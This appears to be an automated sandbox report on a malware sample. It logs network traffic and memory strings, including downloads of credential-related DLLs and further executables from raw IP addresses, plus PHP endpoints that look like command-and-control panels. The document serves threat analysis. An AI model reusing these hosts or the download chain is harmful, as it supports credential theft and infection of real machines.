Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/rh.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: 000003.log3.14.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log3.14.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log3.14.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2812126951.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2808726790.00000000005A7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll&
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dlle
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllt
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllZ
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll)
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllD
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlln
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/J
Source: file.exe, 00000000.00000002.2844098891.00000000236E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2808726790.00000000005A7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%$%
Source: file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: file.exe, 00000000.00000002.2808726790.00000000005A7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBKJKFI.exeata;
Source: file.exe, 00000000.00000002.2844098891.00000000236E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpSY
Source: file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpY$I
Source: file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu$u
Source: file.exe, 00000000.00000002.2812126951.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx
Source: file.exe, 00000000.00000002.2808726790.00000000005A7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000026.00000002.3455388933.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
